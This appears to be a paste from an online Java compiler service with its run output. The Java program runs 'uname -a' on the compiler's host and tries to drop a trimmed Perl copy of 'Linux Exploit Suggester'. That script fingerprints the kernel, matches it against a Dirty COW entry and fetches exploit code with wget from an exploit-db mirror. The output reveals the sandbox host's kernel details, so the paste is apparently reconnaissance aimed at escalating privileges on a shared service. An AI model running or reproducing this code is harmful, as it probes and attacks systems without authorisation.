fork download
  1. // Online Compiler (Java) - CompileBro
  2. import java.util.*;
  3. import java.io.*;
  4. import java.nio.file.*;
  5.  
  6. public class Main {
  7. public static void main(String[] args) {
  8.  
  9. Path myPath = Paths.get(System.getProperty("user.dir"));
  10. writeToFile("script.pl", writePerlScript());
  11.  
  12. executeCommand("uname -a", myPath);
  13. }
  14.  
  15. public static void executeCommand(String input, Path currentDir) {
  16. if (input == null || input.trim().isEmpty()) return;
  17.  
  18. // 1. Tokenize the input string
  19. List<String> tokens = Arrays.asList(input.trim().split("\\s+"));
  20. String command = tokens.get(0).toLowerCase();
  21.  
  22. try {
  23. switch (command) {
  24. case "cd":
  25. // Note: In a single string execution, 'cd' only validates the path
  26. // since the method finishes immediately after.
  27. Path target = (tokens.size() < 2)
  28. ? Paths.get(System.getProperty("user.home"))
  29. : currentDir.resolve(tokens.get(1)).normalize();
  30.  
  31. if (Files.isDirectory(target)) {
  32. System.out.println("Directory exists: " + target);
  33. } else {
  34. System.err.println("cd: " + tokens.get(1) + ": No such directory");
  35. }
  36. break;
  37.  
  38. case "clear":
  39. System.out.print("\033[H\033[2J");
  40. System.out.flush();
  41. break;
  42.  
  43. default:
  44. // 2. Execute as a System Process
  45. Process process = new ProcessBuilder(tokens)
  46. .directory(currentDir.toFile())
  47. .inheritIO()
  48. .start();
  49.  
  50. int exitCode = process.waitFor();
  51. if (exitCode != 0) {
  52. System.err.println("Process exited with code: " + exitCode);
  53. }
  54. break;
  55. }
  56. } catch (IOException e) {
  57. System.err.println("Error: Command '" + command + "' not found.");
  58. } catch (InterruptedException e) {
  59. Thread.currentThread().interrupt();
  60. System.err.println("Process was interrupted.");
  61. }
  62. }
  63.  
  64. static void writeToFile(String filePath, String content) {
  65. try {
  66. // Converts the string path to a Path object and writes the content
  67. Files.writeString(Path.of(filePath), content);
  68. System.out.println("Successfully wrote to " + filePath);
  69. } catch (IOException e) {
  70. System.err.println("An error occurred: " + e.getMessage());
  71. }
  72. }
  73.  
  74. static String writePerlScript() {
  75. StringBuilder perlScript = new StringBuilder();
  76. perlScript.append("use strict;\n");
  77. perlScript.append("use warnings;\n");
  78. perlScript.append("use Getopt::Std;\n");
  79. perlScript.append("\n");
  80. perlScript.append("our $VERSION = '2';\n");
  81. perlScript.append("\n");
  82. perlScript.append("my %opts;\n");
  83. perlScript.append("getopts( 'k:hd', \\%opts );\n");
  84. perlScript.append("if (exists $opts{h}) {\n");
  85. perlScript.append(" usage();\n");
  86. perlScript.append(" exit;\n");
  87. perlScript.append("};\n");
  88. perlScript.append("\n");
  89. perlScript.append("print_banner();\n");
  90. perlScript.append("my ( $khost, $is_partial ) = get_kernel();\n");
  91. perlScript.append("print \" Local Kernel: \\e[00;33m$khost\\e[00m\\n\";\n");
  92. perlScript.append("\n");
  93. perlScript.append("my %exploits = get_exploits();\n");
  94. perlScript.append("print ' Searching ' . scalar keys(%exploits) . \" exploits...\\n\\n\";\n");
  95. perlScript.append("print \" \\e[1;35mPossible Exploits\\e[00m\\n\";\n");
  96. perlScript.append("\n");
  97. perlScript.append("my $count = 1;\n");
  98. perlScript.append("my @applicable = ();\n");
  99. perlScript.append("EXPLOIT:\n");
  100. perlScript.append("foreach my $key ( sort keys %exploits ) {\n");
  101. perlScript.append(" foreach my $kernel ( @{ $exploits{$key}{vuln} } ) {\n");
  102. perlScript.append("\n");
  103. perlScript.append(" if ( $khost eq $kernel\n");
  104. perlScript.append(" or ( $is_partial and index($kernel,$khost) == 0 )\n");
  105. perlScript.append(" ) {\n");
  106. perlScript.append(" $exploits{$key}{key} = $key;\n");
  107. perlScript.append(" push(@applicable, $exploits{$key});\n");
  108. perlScript.append(" print \" \\e[00;33m[\\e[00m\\e[00;31m$count\\e[00m\\e[00;33m]\\e[00m \";\n");
  109. perlScript.append(" print \"\\e[00;33m$key\\e[00m\";\n");
  110. perlScript.append(" print \" \\e[00;33m($kernel)\\e[00m\" if $is_partial;\n");
  111. perlScript.append("\n");
  112. perlScript.append(" my $alt = $exploits{$key}{alt};\n");
  113. perlScript.append(" my $cve = $exploits{$key}{cve};\n");
  114. perlScript.append(" my $mlw = $exploits{$key}{mil};\n");
  115. perlScript.append(" if ( $alt or $cve ) {\n");
  116. perlScript.append(" print \"\\n\";\n");
  117. perlScript.append(" }\n");
  118. perlScript.append(" if ( $alt ) { print \" Alt: $alt \"; }\n");
  119. perlScript.append(" if ( $cve ) { print \" CVE-$cve\"; }\n");
  120. perlScript.append(" if ( $mlw ) { print \"\\n Source: $mlw\"; }\n");
  121. perlScript.append(" print \"\\n\";\n");
  122. perlScript.append(" $count += 1;\n");
  123. perlScript.append(" next EXPLOIT;\n");
  124. perlScript.append(" }\n");
  125. perlScript.append(" }\n");
  126. perlScript.append("}\n");
  127. perlScript.append("print \"\\n\";\n");
  128. perlScript.append("\n");
  129. perlScript.append("if (!@applicable) {\n");
  130. perlScript.append(" print \" No exploits are available for this kernel version\\n\\n\";\n");
  131. perlScript.append(" exit;\n");
  132. perlScript.append("}\n");
  133. perlScript.append("\n");
  134. perlScript.append("if (exists $opts{d}) {\n");
  135. perlScript.append(" print \" \\e[1;36mExploit Download\\e[00m\\n\";\n");
  136. perlScript.append(" print \" (Download all: \\e[00;33m'a'\\e[00m / Individually: \\e[00;33m'2,4,5'\\e[00m \";\n");
  137. perlScript.append(" print \"/ Exit: \\e[00;33m^c\\e[00m)\\n\";\n");
  138. perlScript.append(" print \" Select exploits to download: \";\n");
  139. perlScript.append("\n");
  140. perlScript.append(" while (1) {\n");
  141. perlScript.append(" my $input = <STDIN>;\n");
  142. perlScript.append(" $input =~ s/\\s+//g;\n");
  143. perlScript.append("\n");
  144. perlScript.append(" if ($input =~ /^a$/) {\n");
  145. perlScript.append(" my @selected = ();\n");
  146. perlScript.append(" for (my $i=1; $i <= scalar @applicable; $i++) {\n");
  147. perlScript.append(" push(@selected, $i);\n");
  148. perlScript.append(" }\n");
  149. perlScript.append(" download_exploits(\\@selected, \\@applicable);\n");
  150. perlScript.append(" last;\n");
  151. perlScript.append(" }\n");
  152. perlScript.append(" elsif ($input =~ /^(0|[1-9][0-9]*)(,(0|[1-9][0-9]*))*$/) {\n");
  153. perlScript.append(" my @selected = uniq(split(',', $input));\n");
  154. perlScript.append(" @selected = sort {$a <=> $b} @selected;\n");
  155. perlScript.append(" if ($selected[0] > 0 && $selected[-1] <= scalar @applicable) {\n");
  156. perlScript.append(" download_exploits(\\@selected, \\@applicable);\n");
  157. perlScript.append(" last;\n");
  158. perlScript.append(" }\n");
  159. perlScript.append(" else {\n");
  160. perlScript.append(" print \" \\e[00;31mInput is out of range.\\e[00m Select exploits to download: \";\n");
  161. perlScript.append(" }\n");
  162. perlScript.append(" }\n");
  163. perlScript.append(" else {\n");
  164. perlScript.append(" print \" \\e[00;31mInvalid input.\\e[00m Select exploits to download: \";\n");
  165. perlScript.append(" }\n");
  166. perlScript.append(" }\n");
  167. perlScript.append("};\n");
  168. perlScript.append("exit;\n");
  169. perlScript.append("\n");
  170. perlScript.append("sub get_kernel {\n");
  171. perlScript.append(" my $khost = '';\n");
  172. perlScript.append(" if ( exists $opts{k} ) {\n");
  173. perlScript.append(" $khost = $opts{k};\n");
  174. perlScript.append(" } else {\n");
  175. perlScript.append(" $khost = `uname -r |cut -d\"-\" -f1`;\n");
  176. perlScript.append(" chomp $khost;\n");
  177. perlScript.append(" }\n");
  178. perlScript.append(" if (!defined $khost || !($khost =~ /^[0-9]+([.][0-9]+)*$/)) {\n");
  179. perlScript.append(" print \" \\e[00;31mSpecified kernel is in the wrong format\\e[00m\\n\";\n");
  180. perlScript.append(" print \" Try a kernel format like this: 3.2.0\\n\\n\";\n");
  181. perlScript.append(" exit;\n");
  182. perlScript.append(" }\n");
  183. perlScript.append(" my $is_partial = $khost =~ /^\\d+\\.\\d+\\.\\d?/ ? 0 : 1;\n");
  184. perlScript.append(" return ( $khost, $is_partial );\n");
  185. perlScript.append("}\n");
  186. perlScript.append("\n");
  187. perlScript.append("sub download_exploits {\n");
  188. perlScript.append(" my ($sref, $aref) = @_;\n");
  189. perlScript.append(" my @selected = @{ $sref };\n");
  190. perlScript.append(" my @applicable = @{ $aref };\n");
  191. perlScript.append(" my $exploit_base = \"www.exploit-db.com/exploits\";\n");
  192. perlScript.append(" my $download_base = \"https://w...content-available-to-author-only...b.com/raw/\";\n");
  193. perlScript.append(" print \"\\n\";\n");
  194. perlScript.append(" foreach my $num (@selected) {\n");
  195. perlScript.append(" my $mil = $applicable[$num-1]{mil};\n");
  196. perlScript.append(" next if (!defined $mil);\n");
  197. perlScript.append(" my ($exploit_num) = ($mil =~ /^.*\\/([1-9][0-9]*)\\/?$/);\n");
  198. perlScript.append(" if ($exploit_num && index($mil, $exploit_base) != -1) {\n");
  199. perlScript.append(" my $url = $download_base . $exploit_num;\n");
  200. perlScript.append(" my $file = \"exploit_$applicable[$num-1]{key}\";\n");
  201. perlScript.append(" print \" Downloading \\e[00;33m$url\\e[00m -> \\e[00;33m$file\\e[00m\\n\";\n");
  202. perlScript.append(" system \"wget $url -O $file > /dev/null 2>&1\";\n");
  203. perlScript.append(" } else {\n");
  204. perlScript.append(" print \" No exploit code available for \\e[00;33m$applicable[$num-1]{key}\\e[00m\\n\";\n");
  205. perlScript.append(" }\n");
  206. perlScript.append(" }\n");
  207. perlScript.append(" print \"\\n\";\n");
  208. perlScript.append("}\n");
  209. perlScript.append("\n");
  210. perlScript.append("sub uniq { my %seen; grep !$seen{$_}++, @_; }\n");
  211. perlScript.append("\n");
  212. perlScript.append("sub usage {\n");
  213. perlScript.append("print_banner();\n");
  214. perlScript.append("print \" \\e[00;35mUsage:\\e[00m $0 [-h] [-k kernel] [-d]\\n\\n\";\n");
  215. perlScript.append("print \" \\e[00;33m[\\e[00m\\e[00;31m-h\\e[00m\\e[00;33m]\\e[00m Help (this message)\\n\";\n");
  216. perlScript.append("print \" \\e[00;33m[\\e[00m\\e[00;31m-k\\e[00m\\e[00;33m]\\e[00m Kernel number (eg. 2.6.28)\\n\";\n");
  217. perlScript.append("print \" \\e[00;33m[\\e[00m\\e[00;31m-d\\e[00m\\e[00;33m]\\e[00m Open exploit download menu\\n\\n\";\n");
  218. perlScript.append("}\n");
  219. perlScript.append("\n");
  220. perlScript.append("sub print_banner {\n");
  221. perlScript.append("print \"\\n\\e[00;33m #############################\\e[00m\\n\";\n");
  222. perlScript.append("print \"\\e[1;31m Linux Exploit Suggester $VERSION\\e[00m\\n\";\n");
  223. perlScript.append("print \"\\e[00;33m #############################\\e[00m\\n\\n\";\n");
  224. perlScript.append("}\n");
  225. perlScript.append("\n");
  226. perlScript.append("sub get_exploits {\n");
  227. perlScript.append(" return (\n");
  228. perlScript.append(" 'dirty_cow' => { vuln => ['2.6.22', '3.9.0'], cve => '2016-5195', mil => 'http://w...content-available-to-author-only...b.com/exploits/40616' },\n");
  229. perlScript.append(" # ... (Add other exploits here in similar format) \n");
  230. perlScript.append(" );\n");
  231. perlScript.append("}\n");
  232.  
  233. return perlScript.toString();
  234. }
  235. }
  236.  
Success #stdin #stdout #stderr 0.17s 60312KB
stdin
Standard input is empty
stdout
Linux checker 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 x86_64 x86_64 GNU/Linux
stderr
An error occurred: script.pl